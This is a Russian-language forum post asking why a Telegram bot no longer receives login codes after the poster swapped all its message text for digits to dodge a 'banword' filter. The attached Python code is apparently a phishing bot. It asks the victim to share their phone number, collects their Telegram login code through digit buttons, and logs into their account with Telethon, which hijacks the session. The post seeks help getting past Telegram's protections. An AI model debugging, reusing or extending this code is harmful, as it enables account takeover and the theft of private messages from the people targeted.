- 184
- 55
Полностью исключил банворд, заменив все слова на цифры, но кода по прежнему нет. С чем может быть связано ?
Code:
import telebot
from telebot.types import ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton
import asyncio
from telethon import TelegramClient
from telethon.errors import SessionPasswordNeededError
import cfg
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
api_id = cfg.id
api_hash = cfg.hash
token = cfg.token
bot = telebot.TeleBot(token)
user_states = {}
@bot.message_handler(commands=['start'])
def send_welcome(message):
user = message.from_user
markup = ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)
button = KeyboardButton("1", request_contact=True)
markup.add(button)
bot.reply_to(message, f"2.", reply_markup=markup)
@bot.message_handler(content_types=['contact'])
def handle_contact(message):
contact = message.contact
phone_number = contact.phone_number
bot.reply_to(message, f"3 {phone_number}")
user_states[message.chat.id] = {'phone_number': phone_number, 'code': ''}
show_code_input_buttons(message)
def show_code_input_buttons(message):
markup = InlineKeyboardMarkup()
buttons = [InlineKeyboardButton(str(i), callback_data=f"code_{i}") for i in range(10)]
buttons.append(InlineKeyboardButton("Готово", callback_data="code_done"))
for i in range(0, len(buttons), 3):
markup.row(*buttons[i:i+3])
bot.send_message(message.chat.id, "4", reply_markup=markup)
@bot.callback_query_handler(func=lambda call: call.data.startswith('code_'))
def callback_inline(call):
chat_id = call.message.chat.id
if call.data == "code_done":
if chat_id in user_states and len(user_states[chat_id]['code']) > 0:
code = user_states[chat_id]['code']
bot.send_message(chat_id, f"5: {code}")
asyncio.create_task(authorize_with_telethon(user_states[chat_id]['phone_number'], call.message, code))
else:
bot.send_message(chat_id, "6.")
else:
digit = call.data.split('_')[1]
if chat_id in user_states:
user_states[chat_id]['code'] += digit
bot.answer_callback_query(call.id, f"7 {digit}")
async def authorize_with_telethon(phone_number, message, code):
client = TelegramClient('session_name', api_id, api_hash)
try:
logger.info(f"Начало авторизации с номером: {phone_number}")
await client.start(phone=phone_number, code=code)
logger.info("Авторизация прошла успешно!")
bot.reply_to(message, "8")
show_menu(message)
if message.chat.id in user_states:
del user_states[message.chat.id]
except SessionPasswordNeededError:
logger.info("Требуется ввод двухфакторной аутентификации.")
bot.reply_to(message, "9.")
except Exception as e:
logger.error(f"Произошла ошибка: {str(e)}")
bot.reply_to(message, f"Произошла ошибка: {str(e)}")
bot.polling(none_stop=True)
Вложения
Последнее редактирование: